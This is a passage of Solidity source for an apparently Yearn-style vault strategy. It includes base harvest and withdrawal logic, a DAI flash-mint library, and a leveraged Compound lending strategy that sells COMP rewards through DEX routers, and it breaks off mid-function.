uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* Liquidate everything and returns the amount that got freed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*/
function liquidateAllPositions() internal virtual returns (uint256 _amountFreed);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCostInWei` must be priced in terms of `wei` (1e-18 ETH).
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei).
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
// If your implementation uses the cost of the call in want, you can
// use uint256 callCost = ethToWant(callCostInWei);
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCostInWei` must be priced in terms of `wei` (1e-18 ETH).
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/main/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei).
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) {
uint256 callCost = ethToWant(callCostInWei);
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 amountFreed = liquidateAllPositions();
if (amountFreed < debtOutstanding) {
loss = debtOutstanding.sub(amountFreed);
} else if (amountFreed > debtOutstanding) {
profit = amountFreed.sub(debtOutstanding);
}
debtPayment = debtOutstanding.sub(loss);
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
uint256 totalDebt = vault.strategies(address(this)).totalDebt;
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
// call healthCheck contract
if (doHealthCheck && healthCheck != address(0)) {
require(HealthCheck(healthCheck).check(profit, loss, debtPayment, debtOutstanding, totalDebt), "!healthcheck");
} else {
doHealthCheck = true;
}
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* The migration process should be carefully performed to make sure all
* the assets are migrated to the new address, which should have never
* interacted with the vault before.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault));
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyEmergencyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
* ```
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
* ```
*/
function protectedTokens() internal view virtual returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
// Part: FlashMintLib
library FlashMintLib {
using SafeMath for uint256;
event Leverage(uint256 amountRequested, uint256 requiredDAI, bool deficit, address flashLoan);
uint256 private constant PRICE_DECIMALS = 1e6;
uint256 private constant DAI_DECIMALS = 1e18;
uint256 private constant COLLAT_DECIMALS = 1e18;
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant CDAI = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643;
address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
ComptrollerI private constant COMPTROLLER = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
address public constant LENDER = 0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853;
bytes32 public constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
function doFlashMint(
bool deficit,
uint256 amountDesired,
address want,
uint256 collatRatioDAI
) public returns (uint256) {
if (amountDesired == 0) {
return 0;
}
// calculate amount of DAI we need
(uint256 requiredDAI, uint256 amountWant) = getFlashLoanParams(want, amountDesired, collatRatioDAI);
bytes memory data = abi.encode(deficit, amountWant);
uint256 _fee = IERC3156FlashLender(LENDER).flashFee(DAI, amountWant);
// Check that fees have not been increased without us knowing
require(_fee == 0);
uint256 _allowance = IERC20(DAI).allowance(address(this), address(LENDER));
if (_allowance < requiredDAI) {
IERC20(DAI).approve(address(LENDER), 0);
IERC20(DAI).approve(address(LENDER), type(uint256).max);
}
IERC3156FlashLender(LENDER).flashLoan(IERC3156FlashBorrower(address(this)), DAI, requiredDAI, data);
emit Leverage(amountDesired, requiredDAI, deficit, address(LENDER));
return amountWant;
}
function maxLiquidity() public view returns (uint256) {
return IERC3156FlashLender(LENDER).maxFlashLoan(DAI);
}
function getFlashLoanParams(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
) internal returns (uint256 requiredDAI, uint256 amountWant) {
uint256 priceDAIWant;
uint256 decimalsDifference;
(priceDAIWant, decimalsDifference, requiredDAI) = getPriceDAIWant(want, amountDesired, collatRatioDAI);
amountWant = amountDesired;
// If the cap for flashminting is reduced, we may hit maximum. To avoid reverts in that case we handle the edge case
uint256 _maxFlashLoan = maxLiquidity();
if (requiredDAI > _maxFlashLoan) {
requiredDAI = _maxFlashLoan.mul(9800).div(10_000); // use 98% of total liquidity available
if (address(want) == address(DAI)) {
amountWant = requiredDAI;
} else {
amountWant = requiredDAI.mul(collatRatioDAI).mul(PRICE_DECIMALS).div(priceDAIWant).div(COLLAT_DECIMALS).div(decimalsDifference);
}
}
}
function getPriceDAIWant(
address want,
uint256 amountDesired,
uint256 collatRatioDAI
)
internal
returns (
uint256 priceDAIWant,
uint256 decimalsDifference,
uint256 requiredDAI
)
{
if (want == DAI) {
requiredDAI = amountDesired;
priceDAIWant = PRICE_DECIMALS; // 1:1
decimalsDifference = 1; // 10 ** 0
} else {
// NOTE: want decimals need to be <= 18. otherwise this will break
uint256 wantDecimals = 10**uint256(IERC20Extended(want).decimals());
decimalsDifference = DAI_DECIMALS.div(wantDecimals);
priceDAIWant = getOraclePrice(DAI).mul(PRICE_DECIMALS).div(getOraclePrice(want));
// requiredDAI = desiredWantInDAI / COLLAT_RATIO_DAI
// desiredWantInDAI = (desiredWant / priceDAIWant)
// NOTE: decimals need adjustment (e.g. BTC: 8 / ETH: 18)
requiredDAI = amountDesired.mul(PRICE_DECIMALS).mul(COLLAT_DECIMALS).mul(decimalsDifference).div(priceDAIWant).div(collatRatioDAI);
}
}
function getOraclePrice(address token) internal returns (uint256) {
string memory symbol;
// Symbol for WBTC is BTC in oracle
if (token == WBTC) {
symbol = "BTC";
} else if (token == WETH) {
symbol = "ETH";
} else {
symbol = IERC20Extended(token).symbol();
}
IUniswapAnchoredView oracle = IUniswapAnchoredView(COMPTROLLER.oracle());
return oracle.price(symbol);
}
function loanLogic(
bool deficit,
uint256 amountDAI,
uint256 amount,
CErc20I cToken
) public returns (bytes32) {
// if want is not DAI, we provide flashminted DAI to borrow want and be able to lever up/down
// if want is DAI, we use it directly to lever up/down
bool isDai;
// We check if cToken is DAI to save a couple of unnecessary calls
if (address(cToken) == address(CDAI)) {
isDai = true;
require(amountDAI == amount, "!amounts");
}
uint256 daiBal = IERC20(DAI).balanceOf(address(this));
if (deficit) {
if (!isDai) {
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(cToken.redeemUnderlying(amount) == 0, "!redeem_down");
}
//if in deficit we repay amount and then withdraw
require(cToken.repayBorrow(amount) == 0, "!repay_down");
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
} else {
// if levering up borrow and deposit
require(CErc20I(CDAI).mint(daiBal) == 0, "!mint_flash");
require(cToken.borrow(amount) == 0, "!borrow_up");
if (!isDai) {
require(cToken.mint(amount) == 0, "!mint_up");
require(CErc20I(CDAI).redeemUnderlying(amountDAI) == 0, "!redeem");
}
}
return CALLBACK_SUCCESS;
}
}
// File: Strategy.sol
contract Strategy is BaseStrategy, IERC3156FlashBorrower {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// @notice emitted when trying to do Flash Loan. flashLoan address is 0x00 when no flash loan used
event Leverage(uint256 amountRequested, uint256 amountGiven, bool deficit, address flashLoan);
// Comptroller address for compound.finance
ComptrollerI private constant compound = ComptrollerI(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
//Only three tokens we use
address private constant comp = 0xc00e94Cb662C3520282E6f5717214004A7f26888;
address private constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
CErc20I public cToken;
bool public useUniV3;
// fee pool to use in UniV3 in basis points(default: 0.3% = 3000)
uint24 public compToWethSwapFee;
uint24 public wethToWantSwapFee;
IUniswapV2Router02 public currentV2Router;
IUniswapV2Router02 private constant UNI_V2_ROUTER = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private constant SUSHI_V2_ROUTER = IUniswapV2Router02(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
IUniswapV3Router private constant UNI_V3_ROUTER = IUniswapV3Router(0xE592427A0AEce92De3Edee1F18E0157C05861564);
uint256 public collatRatioDAI;
uint256 public collateralTarget; // total borrow / total supply ratio we are targeting (100% = 1e18)
uint256 private blocksToLiquidationDangerZone; // minimum number of blocks before liquidation
uint256 public minWant; // minimum amount of want to act on
// Rewards handling
bool public dontClaimComp; // enable/disables COMP claiming
uint256 public minCompToSell; // minimum amount of COMP to be sold
bool public flashMintActive; // To deactivate flash loan provider if needed
bool public forceMigrate;
bool public fourThreeProtection;
constructor(address _vault, address _cToken) public BaseStrategy(_vault) {
_initializeThis(_cToken);
}
function approveTokenMax(address token, address spender) internal {
IERC20(token).safeApprove(spender, type(uint256).max);
}
function name() external view override returns (string memory) {
return "GenLevCompV3";
}
function initialize(address _vault, address _cToken) external {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
_initializeThis(_cToken);
}
function _initializeThis(address _cToken) internal {
cToken = CErc20I(address(_cToken));
require(IERC20Extended(address(want)).decimals() <= 18); // dev: want not supported
currentV2Router = SUSHI_V2_ROUTER;
//pre-set approvals
approveTokenMax(comp, address(UNI_V2_ROUTER));
approveTokenMax(comp, address(SUSHI_V2_ROUTER));
approveTokenMax(comp, address(UNI_V3_ROUTER));
approveTokenMax(address(want), address(cToken));
approveTokenMax(FlashMintLib.DAI, address(FlashMintLib.LENDER));
// Enter Compound's DAI market to take it into account when using flashminted DAI as collateral
address[] memory markets;
if (address(cToken) != address(FlashMintLib.CDAI)) {
markets = new address[](2);
markets[0] = address(FlashMintLib.CDAI);
markets[1] = address(cToken);
// Only approve this if want != DAI, otherwise will fail
approveTokenMax(FlashMintLib.DAI, address(FlashMintLib.CDAI));
} else {
markets = new address[](1);
markets[0] = address(FlashMintLib.CDAI);
}
compound.enterMarkets(markets);
//comp speed is amount to borrow or deposit (so half the total distribution for want)
compToWethSwapFee = 3000;
wethToWantSwapFee = 3000;
// You can set these parameters on deployment to whatever you want
maxReportDelay = 86400; // once per 24 hours
profitFactor = 100; // multiple before triggering harvest
debtThreshold = 1e30;
// set minWant to 1e-3 want
minWant = uint256(uint256(10)**uint256((IERC20Extended(address(want))).decimals())).div(1000);
minCompToSell = 0.1 ether;
collateralTarget = 0.63 ether;
collatRatioDAI = 0.73 ether;
blocksToLiquidationDangerZone = 46500;
flashMintActive = true;
}
/*
* Control Functions
*/
function setFourThreeProtection(bool _fourThreeProtection) external management {
fourThreeProtection = _fourThreeProtection;
}
function setUniV3PathFees(uint24 _compToWethSwapFee, uint24 _wethToWantSwapFee) external management {
compToWethSwapFee = _compToWethSwapFee;
wethToWantSwapFee = _wethToWantSwapFee;
}
function setDontClaimComp(bool _dontClaimComp) external management {
dontClaimComp = _dontClaimComp;
}
function setUseUniV3(bool _useUniV3) external management {
useUniV3 = _useUniV3;
}
function setToggleV2Router() external management {
currentV2Router = currentV2Router == SUSHI_V2_ROUTER ? UNI_V2_ROUTER : SUSHI_V2_ROUTER;
}
function setFlashMintActive(bool _flashMintActive) external management {
flashMintActive = _flashMintActive;
}
function setForceMigrate(bool _force) external onlyGovernance {
forceMigrate = _force;
}
function setMinCompToSell(uint256 _minCompToSell) external management {
minCompToSell = _minCompToSell;
}
function setMinWant(uint256 _minWant) external management {
minWant = _minWant;
}
function setCollateralTarget(uint256 _collateralTarget) external management {
(, uint256 collateralFactorMantissa, ) = compound.markets(address(cToken));
require(collateralFactorMantissa > _collateralTarget);
collateralTarget = _collateralTarget;
}
function setCollatRatioDAI(uint256 _collatRatioDAI) external management {
collatRatioDAI = _collatRatioDAI;
}
/*
* Base External Facing Functions
*/
/*
* An accurate estimate for the total amount of assets (principle + return)
* that this strategy is currently managing, denominated in terms of want tokens.
*/
function estimatedTotalAssets() public view override returns (uint256) {
(uint256 deposits, uint256 borrows) = getCurrentPosition();
uint256 _claimableComp = predictCompAccrued();
uint256 currentComp = balanceOfToken(comp);
// Use touch price. it doesnt matter if we are wrong as this is not used for decision making
uint256 estimatedWant = priceCheck(comp, address(want), _claimableComp.add(currentComp));
uint256 conservativeWant = estimatedWant.mul(9).div(10); //10% pessimist
return balanceOfToken(address(want)).add(deposits).add(conservativeWant).sub(borrows);
}
function balanceOfToken(address token) internal view returns (uint256) {
return IERC20(token).balanceOf(address(this));
}
//predicts our profit at next report
function expectedReturn() public view returns (uint256) {
uint256 estimateAssets = estimatedTotalAssets();
uint256 debt = vault.strategies(address(this)).totalDebt;
if (debt > estimateAssets) {
return 0;
} else {
return estimateAssets.sub(debt);
}
}
/*
* Provide a signal to the keeper that `tend()` should be called.
* (keepers are always reimbursed by yEarn)
*
* NOTE: this call and `harvestTrigger` should never return `true` at the same time.
* tendTrigger should be called with same gasCost as harvestTrigger
*/
function tendTrigger(uint256 gasCost) public view override returns (bool) {
if (harvestTrigger(gasCost)) {
//harvest takes priority
return false;
}
return getblocksUntilLiquidation() <= blocksToLiquidationDangerZone;
}
//WARNING. manipulatable and simple routing. Only use for safe functions
function priceCheck(
address start,
address end,
uint256 _amount
) public view returns (uint256) {
if (_amount == 0) {
return 0;
}
uint256[] memory amounts = currentV2Router.getAmountsOut(_amount, getTokenOutPathV2(start, end));
return amounts[amounts.length - 1];
}
/*****************
* Public non-base function
******************/
//Calculate how many blocks until we are in liquidation based on current interest rates
//WARNING does not include compounding so the estimate becomes more innacurate the further ahead we look
//equation. Compound doesn't include compounding for most blocks
//((deposits*colateralThreshold - borrows) / (borrows*borrowrate - deposits*colateralThreshold*interestrate));
function getblocksUntilLiquidation() public view returns (uint256) {
(, uint256 collateralFactorMantissa, ) = compound.markets(address(cToken));
(uint256 deposits, uint256 borrows) = getCurrentPosition();
uint256 borrrowRate = cToken.borrowRatePerBlock();
uint256 supplyRate = cToken.supplyRatePerBlock();
uint256 collateralisedDeposit1 = deposits.mul(collateralFactorMantissa).div(1e18);
uint256 collateralisedDeposit = collateralisedDeposit1;
uint256 denom1 = borrows.mul(borrrowRate);
uint256 denom2 = collateralisedDeposit.mul(supplyRate);
if (denom2 >= denom1) {
return type(uint256).max;
} else {
uint256 numer = collateralisedDeposit.sub(borrows);
uint256 denom = denom1.sub(denom2);
//minus 1 for this block
return numer.mul(1e18).div(denom);
}
}
// This function makes a prediction on how much comp is accrued
// It is not 100% accurate as it uses current balances in Compound to predict into the past
function predictCompAccrued() public view returns (uint256) {
(uint256 deposits, uint256 borrows) = getCurrentPosition();
if (deposits == 0) {
return 0; // should be impossible to have 0 balance and positive comp accrued
}
uint256 distributionPerBlockSupply = compound.compSupplySpeeds(address(cToken));
uint256 distributionPerBlockBorrow = compound.compBorrowSpeeds(address(cToken));
uint256 totalBorrow = cToken.totalBorrows();
//total supply needs to be echanged to underlying using exchange rate
uint256 totalSupplyCtoken = cToken.totalSupply();
uint256 totalSupply = totalSupplyCtoken.mul(cToken.exchangeRateStored()).div(1e18);
uint256 blockShareSupply = 0;
if (totalSupply > 0) {
blockShareSupply = deposits.mul(distributionPerBlockSupply).div(totalSupply);
}
uint256 blockShareBorrow = 0;
if (totalBorrow > 0) {
blockShareBorrow = borrows.mul(distributionPerBlockBorrow).div(totalBorrow);
}
//how much we expect to earn per block
uint256 blockShare = blockShareSupply.add(blockShareBorrow);
//last time we ran harvest
uint256 lastReport = vault.strategies(address(this)).lastReport;
uint256 blocksSinceLast = (block.timestamp.sub(lastReport)).div(13); //roughly 13 seconds per block
return blocksSinceLast.mul(blockShare);
}
//Returns the current position
//WARNING - this returns just the balance at last time someone touched the cToken token. Does not accrue interst in between
//cToken is very active so not normally an issue.
function getCurrentPosition() public view returns (uint256 deposits, uint256 borrows) {
(, uint256 ctokenBalance, uint256 borrowBalance, uint256 exchangeRate) = cToken.getAccountSnapshot(address(this));
borrows = borrowBalance;
deposits = ctokenBalance.mul(exchangeRate).div(1e18);
}
//statechanging version
function getLivePosition() public returns (uint256 deposits, uint256 borrows) {
deposits = cToken.balanceOfUnderlying(address(this));
//we can use non state changing now because we updated state with balanceOfUnderlying call
borrows = cToken.borrowBalanceStored(address(this));
}
//Same warning as above
function netBalanceLent() public view returns (uint256) {
(uint256 deposits, uint256 borrows) = getCurrentPosition();
return deposits.sub(borrows);
}
/***********
* internal core logic
*********** */
/*
* A core method.
* Called at beggining of harvest before providing report to owner
* 1 - claim accrued comp
* 2 - if enough to be worth it we sell
* 3 - because we lose money on our loans we need to offset profit from comp.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
_profit = 0;
_loss = 0; // for clarity. also reduces bytesize
if (balanceOfToken(address(cToken)) == 0) {
uint256 wantBalance = balanceOfToken(address(want));
//no position to harvest
//but we may have some debt to return
//it is too expensive to free more debt in this method so we do it in adjust position
_debtPayment = Math.min(wantBalance, _debtOutstanding);
return (_profit, _loss, _debtPayment);
}
(uint256 deposits, uint256 borrows) = getLivePosition();
//claim comp accrued
_claimComp();
//sell comp
_disposeOfComp();
uint256 wantBalance = balanceOfToken(address(want));
uint256 investedBalance = deposits.sub(borrows);
uint256 balance = investedBalance.add(wantBalance);
uint256 debt = vault.strategies(address(this)).totalDebt;
//Balance - Total Debt is profit
if (balance > debt) {
_profit = balance.sub(debt);
if (wantBalance < _profit) {
//all reserve is profit
_profit = wantBalance;
} else if (wantBalance > _profit.add(_debtOutstanding)) {
_debtPayment = _debtOutstanding;
} else {
_debtPayment = wantBalance.sub(_profit);
}
} else {
//we will lose money until we claim comp then we will make money
//this has an unintended side effect of slowly lowering our total debt allowed
_loss = debt.sub(balance);
_debtPayment = Math.min(wantBalance, _debtOutstanding);
}
}
/*
* Second core function. Happens after report call.
*
* Similar to deposit function from V1 strategy
*/
function adjustPosition(uint256 _debtOutstanding) internal override {
//emergency exit is dealt with in prepareReturn
if (emergencyExit) {
return;
}
//we are spending all our cash unless we have debt outstanding
uint256 _wantBal = balanceOfToken(address(want));
if (_wantBal < _debtOutstanding) {
//this is graceful withdrawal. dont use backup
//we use more than 1 because withdrawunderlying causes problems with 1 token due to different decimals
if (balanceOfToken(address(cToken)) > 1) {
_withdrawSome(_debtOutstanding.sub(_wantBal));
}
return;
}
(uint256 position, bool deficit) = _calculateDesiredPosition(_wantBal.sub(_debtOutstanding), true);
//if we are below minimun want change it is not worth doing
//need to be careful in case this pushes to liquidation
if (position > minWant) {
//if flashloan is not active we just try our best with basic leverage
if (!flashMintActive) {
uint256 i = 0;
while (position > 0) {
position = position.sub(_noFlashLoan(position, deficit));
if (i >= 6) {
break;
}
i++;
}
} else {
//if there is huge position to improve we want to do normal leverage. it is quicker
if (position > FlashMintLib.maxLiquidity()) {
position = position.sub(_noFlashLoan(position, deficit));
}
//flash loan to position
if (position > minWant) {
doFlashMint(deficit, position);
}
}
}
}
/*************
* Very important function
* Input: amount we want to withdraw and whether we are happy to pay extra for Aave.
* cannot be more than we have
* Returns amount we were able to withdraw. notall if user has some balance left
*
* Deleverage position -> redeem our cTokens
******************** */
function _withdrawSome(uint256 _amount) internal returns (bool notAll) {
(uint256 position, bool deficit) = _calculateDesiredPosition(_amount, false);
//If there is no deficit we dont need to adjust position
//if the position change is tiny do nothing
if (deficit && position > minWant) {
//we do a flash loan to give us a big gap. from here on out it is cheaper to use normal deleverage. Use Aave for extremely large loans
if (flashMintActive) {
position = position.sub(doFlashMint(deficit, position));
}
uint8 i = 0;
//position will equal 0 unless we haven't been able to deleverage enough with flash loan
//if we are not in deficit we dont need to do flash loan
while (position > minWant.add(100)) {
position = position.sub(_noFlashLoan(position, true));
i++;
//A limit set so we don't run out of gas
if (i >= 5) {
notAll = true;
break;
}
}
}
//now withdraw
//if we want too much we just take max
//This part makes sure our withdrawal does not force us into liquidation
(uint256 depositBalance, uint256 borrowBalance) = getCurrentPosition();
uint256 tempColla = collateralTarget;
uint256 reservedAmount = 0;
if (tempColla == 0) {
tempColla = 1e15; // 0.001 * 1e18. lower we have issues
}
reservedAmount = borrowBalance.mul(1e18).div(tempColla);
if (depositBalance >= reservedAmount) {
uint256 redeemable = depositBalance.sub(reservedAmount);
uint256 balan = cToken.balanceOf(address(this));
if (balan > 1) {
if (redeemable < _amount) {
cToken.redeemUnderlying(redeemable);
} else {
cToken.redeemUnderlying(_amount);
}
}
}
if (collateralTarget == 0 && balanceOfToken(address(want)) > borrowBalance) {
cToken.repayBorrow(borrowBalance);
}
}
/***********
* This is the main logic for calculating how to change our lends and borrows
* Input: balance. The net amount we are going to deposit/withdraw.
* Input: dep. Is it a deposit or withdrawal
* Output: position. The amount we want to change our current borrow position.
* Output: deficit. True if we are reducing position size
*
* For instance deficit =false, position 100 means increase borrowed balance by 100
****** */
function _calculateDesiredPosition(uint256 balance, bool dep) internal returns (uint256 position, bool deficit) {
//we want to use statechanging for safety
(uint256 deposits, uint256 borrows) = getLivePosition();
//When we unwind we end up with the difference between borrow and supply
uint256 unwoundDeposit = deposits.sub(borrows);
//we want to see how close to collateral target we are.
//So we take our unwound deposits and add or remove the balance we are are adding/removing.
//This gives us our desired future undwoundDeposit (desired supply)
uint256 desiredSupply = 0;
if (dep) {
desiredSupply = unwoundDeposit.add(balance);
} else {
if (balance > unwoundDeposit) {
balance = unwoundDeposit;
}
desiredSupply = unwoundDeposit.sub(balance);
}
//(ds *c)/(1-c)
uint256 num = desiredSupply.mul(collateralTarget);
uint256 den = uint256(1e18).sub(collateralTarget);
uint256 desiredBorrow = num.div(den);
if (desiredBorrow > 1e5) {
//stop us going right up to the wire
desiredBorrow = desiredBorrow.sub(1e5);
}
//now we see if we want to add or remove balance
// if the desired borrow is less than our current borrow we are in deficit. so we want to reduce position
if (desiredBorrow < borrows) {
deficit = true;
position = borrows.sub(desiredBorrow); //safemath check done in if statement
} else {
//otherwise we want to increase position
deficit = false;
position = desiredBorrow.sub(borrows);
}
}
/*
* Liquidate as many assets as possible to `want`, irregardless of slippage,
* up to `_amount`. Any excess should be re-invested here as well.
*/
function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _amountFreed, uint256 _loss) {
uint256 _balance = balanceOfToken(address(want));
uint256 assets = netBalanceLent().add(_balance);
uint256 debtOutstanding = vault.debtOutstanding();
if (debtOutstanding > assets) {
_loss = debtOutstanding.sub(assets);
}
(uint256 deposits, uint256 borrows) = getLivePosition();
if (assets < _amountNeeded) {
//if we cant afford to withdraw we take all we can
//withdraw all we can
//1 token causes rounding error with withdrawUnderlying
if (balanceOfToken(address(cToken)) > 1) {
_withdrawSome(deposits.sub(borrows));
}
_amountFreed = Math.min(_amountNeeded, balanceOfToken(address(want)));
} else {
if (_balance < _amountNeeded) {
